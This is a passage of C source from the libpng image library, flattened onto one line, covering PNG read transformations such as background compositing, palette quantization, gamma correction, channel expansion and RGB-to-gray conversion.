PNG_CRC_WARN_DISCARD: /* Warn/discard data */ case PNG_CRC_DEFAULT: default: png_ptr->flags &= ~PNG_FLAG_CRC_ANCILLARY_MASK; break; } } #ifdef PNG_READ_BACKGROUND_SUPPORTED /* Handle alpha and tRNS via a background color */ void PNGFAPI png_set_background_fixed(png_structp png_ptr, png_const_color_16p background_color, int background_gamma_code, int need_expand, png_fixed_point background_gamma) { png_debug(1, "in png_set_background_fixed"); if (png_ptr == NULL) return; if (background_gamma_code == PNG_BACKGROUND_GAMMA_UNKNOWN) { png_warning(png_ptr, "Application must supply a known background gamma"); return; } png_ptr->transformations |= PNG_BACKGROUND; png_memcpy(&(png_ptr->background), background_color, png_sizeof(png_color_16)); png_ptr->background_gamma = background_gamma; png_ptr->background_gamma_type = (png_byte)(background_gamma_code); png_ptr->transformations |= (need_expand ? PNG_BACKGROUND_EXPAND : 0); } # ifdef PNG_FLOATING_POINT_SUPPORTED void PNGAPI png_set_background(png_structp png_ptr, png_const_color_16p background_color, int background_gamma_code, int need_expand, double background_gamma) { png_set_background_fixed(png_ptr, background_color, background_gamma_code, need_expand, png_fixed(png_ptr, background_gamma, "png_set_background")); } # endif /* FLOATING_POINT */ #endif /* READ_BACKGROUND */ #ifdef PNG_READ_16_TO_8_SUPPORTED /* Strip 16 bit depth files to 8 bit depth */ void PNGAPI png_set_strip_16(png_structp png_ptr) { png_debug(1, "in png_set_strip_16"); if (png_ptr == NULL) return; png_ptr->transformations |= PNG_16_TO_8; png_ptr->transformations &= ~PNG_EXPAND_16; } #endif #ifdef PNG_READ_STRIP_ALPHA_SUPPORTED void PNGAPI png_set_strip_alpha(png_structp png_ptr) { png_debug(1, "in png_set_strip_alpha"); if (png_ptr == NULL) return; png_ptr->transformations |= PNG_STRIP_ALPHA; } #endif #ifdef PNG_READ_QUANTIZE_SUPPORTED /* Dither file to 8 bit. Supply a palette, the current number * of elements in the palette, the maximum number of elements * allowed, and a histogram if possible. If the current number * of colors is greater then the maximum number, the palette will be * modified to fit in the maximum number. "full_quantize" indicates * whether we need a quantizing cube set up for RGB images, or if we * simply are reducing the number of colors in a paletted image. */ typedef struct png_dsort_struct { struct png_dsort_struct FAR * next; png_byte left; png_byte right; } png_dsort; typedef png_dsort FAR * png_dsortp; typedef png_dsort FAR * FAR * png_dsortpp; void PNGAPI png_set_quantize(png_structp png_ptr, png_colorp palette, int num_palette, int maximum_colors, png_const_uint_16p histogram, int full_quantize) { png_debug(1, "in png_set_quantize"); if (png_ptr == NULL) return; png_ptr->transformations |= PNG_QUANTIZE; if (!full_quantize) { int i; png_ptr->quantize_index = (png_bytep)png_malloc(png_ptr, (png_uint_32)(num_palette * png_sizeof(png_byte))); for (i = 0; i < num_palette; i++) png_ptr->quantize_index[i] = (png_byte)i; } if (num_palette > maximum_colors) { if (histogram != NULL) { /* This is easy enough, just throw out the least used colors. * Perhaps not the best solution, but good enough. */ int i; /* Initialize an array to sort colors */ png_ptr->quantize_sort = (png_bytep)png_malloc(png_ptr, (png_uint_32)(num_palette * png_sizeof(png_byte))); /* Initialize the quantize_sort array */ for (i = 0; i < num_palette; i++) png_ptr->quantize_sort[i] = (png_byte)i; /* Find the least used palette entries by starting a * bubble sort, and running it until we have sorted * out enough colors. Note that we don't care about * sorting all the colors, just finding which are * least used. */ for (i = num_palette - 1; i >= maximum_colors; i--) { int done; /* To stop early if the list is pre-sorted */ int j; done = 1; for (j = 0; j < i; j++) { if (histogram[png_ptr->quantize_sort[j]] < histogram[png_ptr->quantize_sort[j + 1]]) { png_byte t; t = png_ptr->quantize_sort[j]; png_ptr->quantize_sort[j] = png_ptr->quantize_sort[j + 1]; png_ptr->quantize_sort[j + 1] = t; done = 0; } } if (done) break; } /* Swap the palette around, and set up a table, if necessary */ if (full_quantize) { int j = num_palette; /* Put all the useful colors within the max, but don't * move the others. */ for (i = 0; i < maximum_colors; i++) { if ((int)png_ptr->quantize_sort[i] >= maximum_colors) { do j--; while ((int)png_ptr->quantize_sort[j] >= maximum_colors); palette[i] = palette[j]; } } } else { int j = num_palette; /* Move all the used colors inside the max limit, and * develop a translation table. */ for (i = 0; i < maximum_colors; i++) { /* Only move the colors we need to */ if ((int)png_ptr->quantize_sort[i] >= maximum_colors) { png_color tmp_color; do j--; while ((int)png_ptr->quantize_sort[j] >= maximum_colors); tmp_color = palette[j]; palette[j] = palette[i]; palette[i] = tmp_color; /* Indicate where the color went */ png_ptr->quantize_index[j] = (png_byte)i; png_ptr->quantize_index[i] = (png_byte)j; } } /* Find closest color for those colors we are not using */ for (i = 0; i < num_palette; i++) { if ((int)png_ptr->quantize_index[i] >= maximum_colors) { int min_d, k, min_k, d_index; /* Find the closest color to one we threw out */ d_index = png_ptr->quantize_index[i]; min_d = PNG_COLOR_DIST(palette[d_index], palette[0]); for (k = 1, min_k = 0; k < maximum_colors; k++) { int d; d = PNG_COLOR_DIST(palette[d_index], palette[k]); if (d < min_d) { min_d = d; min_k = k; } } /* Point to closest color */ png_ptr->quantize_index[i] = (png_byte)min_k; } } } png_free(png_ptr, png_ptr->quantize_sort); png_ptr->quantize_sort = NULL; } else { /* This is much harder to do simply (and quickly). Perhaps * we need to go through a median cut routine, but those * don't always behave themselves with only a few colors * as input. So we will just find the closest two colors, * and throw out one of them (chosen somewhat randomly). * [We don't understand this at all, so if someone wants to * work on improving it, be our guest - AED, GRP] */ int i; int max_d; int num_new_palette; png_dsortp t; png_dsortpp hash; t = NULL; /* Initialize palette index arrays */ png_ptr->index_to_palette = (png_bytep)png_malloc(png_ptr, (png_uint_32)(num_palette * png_sizeof(png_byte))); png_ptr->palette_to_index = (png_bytep)png_malloc(png_ptr, (png_uint_32)(num_palette * png_sizeof(png_byte))); /* Initialize the sort array */ for (i = 0; i < num_palette; i++) { png_ptr->index_to_palette[i] = (png_byte)i; png_ptr->palette_to_index[i] = (png_byte)i; } hash = (png_dsortpp)png_calloc(png_ptr, (png_uint_32)(769 * png_sizeof(png_dsortp))); num_new_palette = num_palette; /* Initial wild guess at how far apart the farthest pixel * pair we will be eliminating will be. Larger * numbers mean more areas will be allocated, Smaller * numbers run the risk of not saving enough data, and * having to do this all over again. * * I have not done extensive checking on this number. */ max_d = 96; while (num_new_palette > maximum_colors) { for (i = 0; i < num_new_palette - 1; i++) { int j; for (j = i + 1; j < num_new_palette; j++) { int d; d = PNG_COLOR_DIST(palette[i], palette[j]); if (d <= max_d) { t = (png_dsortp)png_malloc_warn(png_ptr, (png_uint_32)(png_sizeof(png_dsort))); if (t == NULL) break; t->next = hash[d]; t->left = (png_byte)i; t->right = (png_byte)j; hash[d] = t; } } if (t == NULL) break; } if (t != NULL) for (i = 0; i <= max_d; i++) { if (hash[i] != NULL) { png_dsortp p; for (p = hash[i]; p; p = p->next) { if ((int)png_ptr->index_to_palette[p->left] < num_new_palette && (int)png_ptr->index_to_palette[p->right] < num_new_palette) { int j, next_j; if (num_new_palette & 0x01) { j = p->left; next_j = p->right; } else { j = p->right; next_j = p->left; } num_new_palette--; palette[png_ptr->index_to_palette[j]] = palette[num_new_palette]; if (!full_quantize) { int k; for (k = 0; k < num_palette; k++) { if (png_ptr->quantize_index[k] == png_ptr->index_to_palette[j]) png_ptr->quantize_index[k] = png_ptr->index_to_palette[next_j]; if ((int)png_ptr->quantize_index[k] == num_new_palette) png_ptr->quantize_index[k] = png_ptr->index_to_palette[j]; } } png_ptr->index_to_palette[png_ptr->palette_to_index [num_new_palette]] = png_ptr->index_to_palette[j]; png_ptr->palette_to_index[png_ptr->index_to_palette[j]] = png_ptr->palette_to_index[num_new_palette]; png_ptr->index_to_palette[j] = (png_byte)num_new_palette; png_ptr->palette_to_index[num_new_palette] = (png_byte)j; } if (num_new_palette <= maximum_colors) break; } if (num_new_palette <= maximum_colors) break; } } for (i = 0; i < 769; i++) { if (hash[i] != NULL) { png_dsortp p = hash[i]; while (p) { t = p->next; png_free(png_ptr, p); p = t; } } hash[i] = 0; } max_d += 96; } png_free(png_ptr, hash); png_free(png_ptr, png_ptr->palette_to_index); png_free(png_ptr, png_ptr->index_to_palette); png_ptr->palette_to_index = NULL; png_ptr->index_to_palette = NULL; } num_palette = maximum_colors; } if (png_ptr->palette == NULL) { png_ptr->palette = palette; } png_ptr->num_palette = (png_uint_16)num_palette; if (full_quantize) { int i; png_bytep distance; int total_bits = PNG_QUANTIZE_RED_BITS + PNG_QUANTIZE_GREEN_BITS + PNG_QUANTIZE_BLUE_BITS; int num_red = (1 << PNG_QUANTIZE_RED_BITS); int num_green = (1 << PNG_QUANTIZE_GREEN_BITS); int num_blue = (1 << PNG_QUANTIZE_BLUE_BITS); png_size_t num_entries = ((png_size_t)1 << total_bits); png_ptr->palette_lookup = (png_bytep)png_calloc(png_ptr, (png_uint_32)(num_entries * png_sizeof(png_byte))); distance = (png_bytep)png_malloc(png_ptr, (png_uint_32)(num_entries * png_sizeof(png_byte))); png_memset(distance, 0xff, num_entries * png_sizeof(png_byte)); for (i = 0; i < num_palette; i++) { int ir, ig, ib; int r = (palette[i].red >> (8 - PNG_QUANTIZE_RED_BITS)); int g = (palette[i].green >> (8 - PNG_QUANTIZE_GREEN_BITS)); int b = (palette[i].blue >> (8 - PNG_QUANTIZE_BLUE_BITS)); for (ir = 0; ir < num_red; ir++) { /* int dr = abs(ir - r); */ int dr = ((ir > r) ? ir - r : r - ir); int index_r = (ir << (PNG_QUANTIZE_BLUE_BITS + PNG_QUANTIZE_GREEN_BITS)); for (ig = 0; ig < num_green; ig++) { /* int dg = abs(ig - g); */ int dg = ((ig > g) ? ig - g : g - ig); int dt = dr + dg; int dm = ((dr > dg) ? dr : dg); int index_g = index_r | (ig << PNG_QUANTIZE_BLUE_BITS); for (ib = 0; ib < num_blue; ib++) { int d_index = index_g | ib; /* int db = abs(ib - b); */ int db = ((ib > b) ? ib - b : b - ib); int dmax = ((dm > db) ? dm : db); int d = dmax + dt + db; if (d < (int)distance[d_index]) { distance[d_index] = (png_byte)d; png_ptr->palette_lookup[d_index] = (png_byte)i; } } } } } png_free(png_ptr, distance); } } #endif /* PNG_READ_QUANTIZE_SUPPORTED */ #ifdef PNG_READ_GAMMA_SUPPORTED /* Transform the image from the file_gamma to the screen_gamma. We * only do transformations on images where the file_gamma and screen_gamma * are not close reciprocals, otherwise it slows things down slightly, and * also needlessly introduces small errors. * * We will turn off gamma transformation later if no semitransparent entries * are present in the tRNS array for palette images. We can't do it here * because we don't necessarily have the tRNS chunk yet. */ static int /* PRIVATE */ png_gamma_threshold(png_fixed_point scrn_gamma, png_fixed_point file_gamma) { /* PNG_GAMMA_THRESHOLD is the threshold for performing gamma * correction as a difference of the overall transform from 1.0 * * We want to compare the threshold with s*f - 1, if we get * overflow here it is because of wacky gamma values so we * turn on processing anyway. */ png_fixed_point gtest; return !png_muldiv(&gtest, scrn_gamma, file_gamma, PNG_FP_1) || png_gamma_significant(gtest); } void PNGFAPI png_set_gamma_fixed(png_structp png_ptr, png_fixed_point scrn_gamma, png_fixed_point file_gamma) { png_debug(1, "in png_set_gamma_fixed"); if (png_ptr == NULL) return; if ((png_ptr->color_type & PNG_COLOR_MASK_ALPHA) || (png_ptr->color_type == PNG_COLOR_TYPE_PALETTE) || png_gamma_threshold(scrn_gamma, file_gamma)) png_ptr->transformations |= PNG_GAMMA; png_ptr->gamma = file_gamma; png_ptr->screen_gamma = scrn_gamma; } # ifdef PNG_FLOATING_POINT_SUPPORTED void PNGAPI png_set_gamma(png_structp png_ptr, double scrn_gamma, double file_gamma) { png_set_gamma_fixed(png_ptr, png_fixed(png_ptr, scrn_gamma, "png_set_gamma screen gamma"), png_fixed(png_ptr, file_gamma, "png_set_gamma file gamma")); } # endif /* FLOATING_POINT_SUPPORTED */ #endif /* READ_GAMMA */ #ifdef PNG_READ_EXPAND_SUPPORTED /* Expand paletted images to RGB, expand grayscale images of * less than 8-bit depth to 8-bit depth, and expand tRNS chunks * to alpha channels. */ void PNGAPI png_set_expand(png_structp png_ptr) { png_debug(1, "in png_set_expand"); if (png_ptr == NULL) return; png_ptr->transformations |= (PNG_EXPAND | PNG_EXPAND_tRNS); png_ptr->flags &= ~PNG_FLAG_ROW_INIT; } /* GRR 19990627: the following three functions currently are identical * to png_set_expand(). However, it is entirely reasonable that someone * might wish to expand an indexed image to RGB but *not* expand a single, * fully transparent palette entry to a full alpha channel--perhaps instead * convert tRNS to the grayscale/RGB format (16-bit RGB value), or replace * the transparent color with a particular RGB value, or drop tRNS entirely. * IOW, a future version of the library may make the transformations flag * a bit more fine-grained, with separate bits for each of these three * functions. * * More to the point, these functions make it obvious what libpng will be * doing, whereas "expand" can (and does) mean any number of things. * * GRP 20060307: In libpng-1.2.9, png_set_gray_1_2_4_to_8() was modified * to expand only the sample depth but not to expand the tRNS to alpha * and its name was changed to png_set_expand_gray_1_2_4_to_8(). */ /* Expand paletted images to RGB. */ void PNGAPI png_set_palette_to_rgb(png_structp png_ptr) { png_debug(1, "in png_set_palette_to_rgb"); if (png_ptr == NULL) return; png_ptr->transformations |= (PNG_EXPAND | PNG_EXPAND_tRNS); png_ptr->flags &= ~PNG_FLAG_ROW_INIT; } /* Expand grayscale images of less than 8-bit depth to 8 bits. */ void PNGAPI png_set_expand_gray_1_2_4_to_8(png_structp png_ptr) { png_debug(1, "in png_set_expand_gray_1_2_4_to_8"); if (png_ptr == NULL) return; png_ptr->transformations |= PNG_EXPAND; png_ptr->flags &= ~PNG_FLAG_ROW_INIT; } /* Expand tRNS chunks to alpha channels. */ void PNGAPI png_set_tRNS_to_alpha(png_structp png_ptr) { png_debug(1, "in png_set_tRNS_to_alpha"); png_ptr->transformations |= (PNG_EXPAND | PNG_EXPAND_tRNS); png_ptr->flags &= ~PNG_FLAG_ROW_INIT; } #endif /* defined(PNG_READ_EXPAND_SUPPORTED) */ #ifdef PNG_READ_EXPAND_16_SUPPORTED /* Expand to 16 bit channels, expand the tRNS chunk too (because otherwise * it may not work correctly.) */ void PNGAPI png_set_expand_16(png_structp png_ptr) { png_debug(1, "in png_set_expand_16"); if (png_ptr == NULL) return; png_ptr->transformations |= (PNG_EXPAND_16 | PNG_EXPAND | PNG_EXPAND_tRNS); png_ptr->transformations &= ~PNG_16_TO_8; png_ptr->flags &= ~PNG_FLAG_ROW_INIT; } #endif #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED void PNGAPI png_set_gray_to_rgb(png_structp png_ptr) { png_debug(1, "in png_set_gray_to_rgb"); if (png_ptr != NULL) { /* Because rgb must be 8 bits or more: */ png_set_expand_gray_1_2_4_to_8(png_ptr); png_ptr->transformations |= PNG_GRAY_TO_RGB; png_ptr->flags &= ~PNG_FLAG_ROW_INIT; } } #endif #ifdef PNG_READ_RGB_TO_GRAY_SUPPORTED void PNGFAPI png_set_rgb_to_gray_fixed(png_structp png_ptr, int error_action, png_fixed_point red, png_fixed_point green) { png_debug(1, "in png_set_rgb_to_gray"); if (png_ptr == NULL) return; switch(error_action) { case 1: png_ptr->transformations |= PNG_RGB_TO_GRAY; break; case 2: png_ptr->transformations |= PNG_RGB_TO_GRAY_WARN; break; case 3: png_ptr->transformations |= PNG_RGB_TO_GRAY_ERR; break; default: png_error(png_ptr, "invalid error action to rgb_to_gray"); break; } if (png_ptr->color_type == PNG_COLOR_TYPE_PALETTE) #ifdef PNG_READ_EXPAND_SUPPORTED png_ptr->transformations |= PNG_EXPAND; #else { png_warning(png_ptr, "Cannot do RGB_TO_GRAY without EXPAND_SUPPORTED"); png_ptr->transformations &= ~PNG_RGB_TO_GRAY; } #endif { png_uint_16 red_int, green_int; if (red < 0 || green < 0) { red_int = 6968; /* .212671 * 32768 + .5 */ green_int = 23434; /* .715160 * 32768 + .5 */ } else if (red + green < 100000L) { red_int = (png_uint_16)(((png_uint_32)red*32768L)/100000L); green_int = (png_uint_16)(((png_uint_32)green*32768L)/100000L); } else { png_warning(png_ptr, "ignoring out of range rgb_to_gray coefficients"); red_int = 6968; green_int = 23434; } png_ptr->rgb_to_gray_red_coeff = red_int; png_ptr->rgb_to_gray_green_coeff = green_int; png_ptr->rgb_to_gray_blue_coeff = (png_uint_16)(32768 - red_int - green_int); } } #ifdef PNG_FLOATING_POINT_SUPPORTED /* Convert a RGB image to a grayscale of the same width. This allows us, * for example, to convert a 24 bpp RGB image into an 8 bpp grayscale image. */ void PNGAPI png_set_rgb_to_gray(png_structp png_ptr, int error_action, double red, double green) { if (png_ptr == NULL) return; png_set_rgb_to_gray_fixed(png_ptr, error_action, png_fixed(png_ptr, red, "rgb to gray red coefficient"), png_fixed(png_ptr, green, "rgb to gray green coefficient")); } #endif /* FLOATING POINT */ #endif #if defined(PNG_READ_USER_TRANSFORM_SUPPORTED) || \ defined(PNG_WRITE_USER_TRANSFORM_SUPPORTED) void PNGAPI png_set_read_user_transform_fn(png_structp png_ptr, png_user_transform_ptr read_user_transform_fn) { png_debug(1, "in png_set_read_user_transform_fn"); if (png_ptr == NULL) return; #ifdef PNG_READ_USER_TRANSFORM_SUPPORTED png_ptr->transformations |= PNG_USER_TRANSFORM; png_ptr->read_user_transform_fn = read_user_transform_fn; #endif } #endif /* Initialize everything needed for the read. This includes modifying * the palette. */ void /* PRIVATE */ png_init_read_transformations(png_structp png_ptr) { png_debug(1, "in png_init_read_transformations"); { #if defined(PNG_READ_BACKGROUND_SUPPORTED) || \ defined(PNG_READ_SHIFT_SUPPORTED) || \ defined(PNG_READ_GAMMA_SUPPORTED) int color_type = png_ptr->color_type; #endif #if defined(PNG_READ_EXPAND_SUPPORTED) && defined(PNG_READ_BACKGROUND_SUPPORTED) #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED /* Detect gray background and attempt to enable optimization * for gray --> RGB case * * Note: if PNG_BACKGROUND_EXPAND is set and color_type is either RGB or * RGB_ALPHA (in which case need_expand is superfluous anyway), the * background color might actually be gray yet not be flagged as such. * This is not a problem for the current code, which uses * PNG_BACKGROUND_IS_GRAY only to decide when to do the * png_do_gray_to_rgb() transformation. */ if ((png_ptr->transformations & PNG_BACKGROUND_EXPAND) && !(color_type & PNG_COLOR_MASK_COLOR)) { png_ptr->mode |= PNG_BACKGROUND_IS_GRAY; } else if ((png_ptr->transformations & PNG_BACKGROUND) && !(png_ptr->transformations & PNG_BACKGROUND_EXPAND) && (png_ptr->transformations & PNG_GRAY_TO_RGB) && png_ptr->background.red == png_ptr->background.green && png_ptr->background.red == png_ptr->background.blue) { png_ptr->mode |= PNG_BACKGROUND_IS_GRAY; png_ptr->background.gray = png_ptr->background.red; } #endif if ((png_ptr->transformations & PNG_BACKGROUND_EXPAND) && (png_ptr->transformations & PNG_EXPAND)) { if (!(color_type & PNG_COLOR_MASK_COLOR)) /* i.e., GRAY or GRAY_ALPHA */ { /* Expand background and tRNS chunks */ switch (png_ptr->bit_depth) { case 1: png_ptr->background.gray *= (png_uint_16)0xff; png_ptr->background.red = png_ptr->background.green = png_ptr->background.blue = png_ptr->background.gray; if (!(png_ptr->transformations & PNG_EXPAND_tRNS)) { png_ptr->trans_color.gray *= (png_uint_16)0xff; png_ptr->trans_color.red = png_ptr->trans_color.green = png_ptr->trans_color.blue = png_ptr->trans_color.gray; } break; case 2: png_ptr->background.gray *= (png_uint_16)0x55; png_ptr->background.red = png_ptr->background.green = png_ptr->background.blue = png_ptr->background.gray; if (!(png_ptr->transformations & PNG_EXPAND_tRNS)) { png_ptr->trans_color.gray *= (png_uint_16)0x55; png_ptr->trans_color.red = png_ptr->trans_color.green = png_ptr->trans_color.blue = png_ptr->trans_color.gray; } break; case 4: png_ptr->background.gray *= (png_uint_16)0x11; png_ptr->background.red = png_ptr->background.green = png_ptr->background.blue = png_ptr->background.gray; if (!(png_ptr->transformations & PNG_EXPAND_tRNS)) { png_ptr->trans_color.gray *= (png_uint_16)0x11; png_ptr->trans_color.red = png_ptr->trans_color.green = png_ptr->trans_color.blue = png_ptr->trans_color.gray; } break; default: case 8: case 16: png_ptr->background.red = png_ptr->background.green = png_ptr->background.blue = png_ptr->background.gray; break; } } else if (color_type == PNG_COLOR_TYPE_PALETTE) { png_ptr->background.red = png_ptr->palette[png_ptr->background.index].red; png_ptr->background.green = png_ptr->palette[png_ptr->background.index].green; png_ptr->background.blue = png_ptr->palette[png_ptr->background.index].blue; #ifdef PNG_READ_INVERT_ALPHA_SUPPORTED if (png_ptr->transformations & PNG_INVERT_ALPHA) { #ifdef PNG_READ_EXPAND_SUPPORTED if (!(png_ptr->transformations & PNG_EXPAND_tRNS)) #endif { /* Invert the alpha channel (in tRNS) unless the pixels are * going to be expanded, in which case leave it for later */ int i, istop; istop=(int)png_ptr->num_trans; for (i=0; i<istop; i++) png_ptr->trans_alpha[i] = (png_byte)(255 - png_ptr->trans_alpha[i]); } } #endif } } #endif #if defined(PNG_READ_BACKGROUND_SUPPORTED) && defined(PNG_READ_GAMMA_SUPPORTED) png_ptr->background_1 = png_ptr->background; #endif #ifdef PNG_READ_GAMMA_SUPPORTED if ((color_type == PNG_COLOR_TYPE_PALETTE && png_ptr->num_trans != 0) && png_gamma_threshold(png_ptr->screen_gamma, png_ptr->gamma)) { int i, k; k=0; for (i=0; i<png_ptr->num_trans; i++) { if (png_ptr->trans_alpha[i] != 0 && png_ptr->trans_alpha[i] != 0xff) k=1; /* Partial transparency is present */ } if (k == 0) png_ptr->transformations &= ~PNG_GAMMA; } if ((png_ptr->transformations & (PNG_GAMMA | PNG_RGB_TO_GRAY)) && png_ptr->gamma != 0) { png_build_gamma_table(png_ptr, png_ptr->bit_depth); #ifdef PNG_READ_BACKGROUND_SUPPORTED if (png_ptr->transformations & PNG_BACKGROUND) { if (color_type == PNG_COLOR_TYPE_PALETTE) { /* Could skip if no transparency */ png_color back, back_1; png_colorp palette = png_ptr->palette; int num_palette = png_ptr->num_palette; int i; if (png_ptr->background_gamma_type == PNG_BACKGROUND_GAMMA_FILE) { back.red = png_ptr->gamma_table[png_ptr->background.red]; back.green = png_ptr->gamma_table[png_ptr->background.green]; back.blue = png_ptr->gamma_table[png_ptr->background.blue]; back_1.red = png_ptr->gamma_to_1[png_ptr->background.red]; back_1.green = png_ptr->gamma_to_1[png_ptr->background.green]; back_1.blue = png_ptr->gamma_to_1[png_ptr->background.blue]; } else { png_fixed_point g, gs; switch (png_ptr->background_gamma_type) { case PNG_BACKGROUND_GAMMA_SCREEN: g = (png_ptr->screen_gamma); gs = PNG_FP_1; break; case PNG_BACKGROUND_GAMMA_FILE: g = png_reciprocal(png_ptr->gamma); gs = png_reciprocal2(png_ptr->gamma, png_ptr->screen_gamma); break; case PNG_BACKGROUND_GAMMA_UNIQUE: g = png_reciprocal(png_ptr->background_gamma); gs = png_reciprocal2(png_ptr->background_gamma, png_ptr->screen_gamma); break; default: g = PNG_FP_1; /* back_1 */ gs = PNG_FP_1; /* back */ break; } if (png_gamma_significant(gs)) { back.red = (png_byte)png_ptr->background.red; back.green = (png_byte)png_ptr->background.green; back.blue = (png_byte)png_ptr->background.blue; } else { back.red = png_gamma_8bit_correct(png_ptr->background.red, gs); back.green = png_gamma_8bit_correct(png_ptr->background.green, gs); back.blue = png_gamma_8bit_correct(png_ptr->background.blue, gs); } back_1.red = png_gamma_8bit_correct(png_ptr->background.red, g); back_1.green = png_gamma_8bit_correct(png_ptr->background.green, g); back_1.blue = png_gamma_8bit_correct(png_ptr->background.blue, g); } for (i = 0; i < num_palette; i++) { if (i < (int)png_ptr->num_trans && png_ptr->trans_alpha[i] != 0xff) { if (png_ptr->trans_alpha[i] == 0) { palette[i] = back; } else /* if (png_ptr->trans_alpha[i] != 0xff) */ { png_byte v, w; v = png_ptr->gamma_to_1[palette[i].red]; png_composite(w, v, png_ptr->trans_alpha[i], back_1.red); palette[i].red = png_ptr->gamma_from_1[w]; v = png_ptr->gamma_to_1[palette[i].green]; png_composite(w, v, png_ptr->trans_alpha[i], back_1.green); palette[i].green = png_ptr->gamma_from_1[w]; v = png_ptr->gamma_to_1[palette[i].blue]; png_composite(w, v, png_ptr->trans_alpha[i], back_1.blue); palette[i].blue = png_ptr->gamma_from_1[w]; } } else { palette[i].red = png_ptr->gamma_table[palette[i].red]; palette[i].green = png_ptr->gamma_table[palette[i].green]; palette[i].blue = png_ptr->gamma_table[palette[i].blue]; } } /* Prevent the transformations being done again, and make sure * that the now spurious alpha channel is stripped - the code * has just reduced background composition and gamma correction * to a simple alpha channel strip. */ png_ptr->transformations &= ~PNG_BACKGROUND; png_ptr->transformations &= ~PNG_GAMMA; png_ptr->transformations |= PNG_STRIP_ALPHA; } /* if (png_ptr->background_gamma_type!=PNG_BACKGROUND_GAMMA_UNKNOWN) */ else /* color_type != PNG_COLOR_TYPE_PALETTE */ { png_fixed_point g = PNG_FP_1; png_fixed_point gs = PNG_FP_1; switch (png_ptr->background_gamma_type) { case PNG_BACKGROUND_GAMMA_SCREEN: g = png_ptr->screen_gamma; /* gs = PNG_FP_1; */ break; case PNG_BACKGROUND_GAMMA_FILE: g = png_reciprocal(png_ptr->gamma); gs = png_reciprocal2(png_ptr->gamma, png_ptr->screen_gamma); break; case PNG_BACKGROUND_GAMMA_UNIQUE: g = png_reciprocal(png_ptr->background_gamma); gs = png_reciprocal2(png_ptr->background_gamma, png_ptr->screen_gamma); break; default: png_error(png_ptr, "invalid background gamma type"); } png_ptr->background_1.gray = png_gamma_correct(png_ptr, png_ptr->background.gray, g); png_ptr->background.gray = png_gamma_correct(png_ptr, png_ptr->background.gray, gs); if ((png_ptr->background.red != png_ptr->background.green) || (png_ptr->background.red != png_ptr->background.blue) || (png_ptr->background.red != png_ptr->background.gray)) { /* RGB or RGBA with color background */ png_ptr->background_1.red = png_gamma_correct(png_ptr, png_ptr->background.red, g); png_ptr->background_1.green = png_gamma_correct(png_ptr, png_ptr->background.green, g); png_ptr->background_1.blue = png_gamma_correct(png_ptr, png_ptr->background.blue, g); png_ptr->background.red = png_gamma_correct(png_ptr, png_ptr->background.red, gs); png_ptr->background.green = png_gamma_correct(png_ptr, png_ptr->background.green, gs); png_ptr->background.blue = png_gamma_correct(png_ptr, png_ptr->background.blue, gs); } else { /* GRAY, GRAY ALPHA, RGB, or RGBA with gray background */ png_ptr->background_1.red = png_ptr->background_1.green = png_ptr->background_1.blue = png_ptr->background_1.gray; png_ptr->background.red = png_ptr->background.green = png_ptr->background.blue = png_ptr->background.gray; } } } else /* Transformation does not include PNG_BACKGROUND */ #endif /* PNG_READ_BACKGROUND_SUPPORTED */ if (color_type == PNG_COLOR_TYPE_PALETTE) { png_colorp palette = png_ptr->palette; int num_palette = png_ptr->num_palette; int i; for (i = 0; i < num_palette; i++) { palette[i].red = png_ptr->gamma_table[palette[i].red]; palette[i].green = png_ptr->gamma_table[palette[i].green]; palette[i].blue = png_ptr->gamma_table[palette[i].blue]; } /* Done the gamma correction. */ png_ptr->transformations &= ~PNG_GAMMA; } } #ifdef PNG_READ_BACKGROUND_SUPPORTED else #endif #endif /* PNG_READ_GAMMA_SUPPORTED */ #ifdef PNG_READ_BACKGROUND_SUPPORTED /* No GAMMA transformation */ if ((png_ptr->transformations & PNG_BACKGROUND) && (color_type == PNG_COLOR_TYPE_PALETTE)) { int i; int istop = (int)png_ptr->num_trans; png_color back; png_colorp palette = png_ptr->palette; back.red = (png_byte)png_ptr->background.red; back.green = (png_byte)png_ptr->background.green; back.blue = (png_byte)png_ptr->background.blue; for (i = 0; i < istop; i++) { if (png_ptr->trans_alpha[i] == 0) { palette[i] = back; } else if (png_ptr->trans_alpha[i] != 0xff) { /* The png_composite() macro is defined in png.h */ png_composite(palette[i].red, palette[i].red, png_ptr->trans_alpha[i], back.red); png_composite(palette[i].green, palette[i].green, png_ptr->trans_alpha[i], back.green); png_composite(palette[i].blue, palette[i].blue, png_ptr->trans_alpha[i], back.blue); } } /* Handled alpha, still need to strip the channel. */ png_ptr->transformations &= ~PNG_BACKGROUND; png_ptr->transformations |= PNG_STRIP_ALPHA; } #endif /* PNG_READ_BACKGROUND_SUPPORTED */ #ifdef PNG_READ_SHIFT_SUPPORTED if ((png_ptr->transformations & PNG_SHIFT) && (color_type == PNG_COLOR_TYPE_PALETTE)) { png_uint_16 i; png_uint_16 istop = png_ptr->num_palette; int sr = 8 - png_ptr->sig_bit.red; int sg = 8 - png_ptr->sig_bit.green; int sb = 8 - png_ptr->sig_bit.blue; if (sr < 0 || sr > 8) sr = 0; if (sg < 0 || sg > 8) sg = 0; if (sb < 0 || sb > 8) sb = 0; for (i = 0; i < istop; i++) { png_ptr->palette[i].red >>= sr; png_ptr->palette[i].green >>= sg; png_ptr->palette[i].blue >>= sb; } } #endif /* PNG_READ_SHIFT_SUPPORTED */ } #if !defined(PNG_READ_GAMMA_SUPPORTED) && !defined(PNG_READ_SHIFT_SUPPORTED) \ && !defined(PNG_READ_BACKGROUND_SUPPORTED) if (png_ptr) return; #endif } /* Modify the info structure to reflect the transformations. The * info should be updated so a PNG file could be written with it, * assuming the transformations result in valid PNG data. */ void /* PRIVATE */ png_read_transform_info(png_structp png_ptr, png_infop info_ptr) { png_debug(1, "in png_read_transform_info"); #ifdef PNG_READ_EXPAND_SUPPORTED if (png_ptr->transformations & PNG_EXPAND) { if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE) { if (png_ptr->num_trans && (png_ptr->transformations & PNG_EXPAND_tRNS)) info_ptr->color_type = PNG_COLOR_TYPE_RGB_ALPHA; else info_ptr->color_type = PNG_COLOR_TYPE_RGB; info_ptr->bit_depth = 8; info_ptr->num_trans = 0; } else { if (png_ptr->num_trans) { if (png_ptr->transformations & PNG_EXPAND_tRNS) info_ptr->color_type |= PNG_COLOR_MASK_ALPHA; } if (info_ptr->bit_depth < 8) info_ptr->bit_depth = 8; info_ptr->num_trans = 0; } } #endif #ifdef 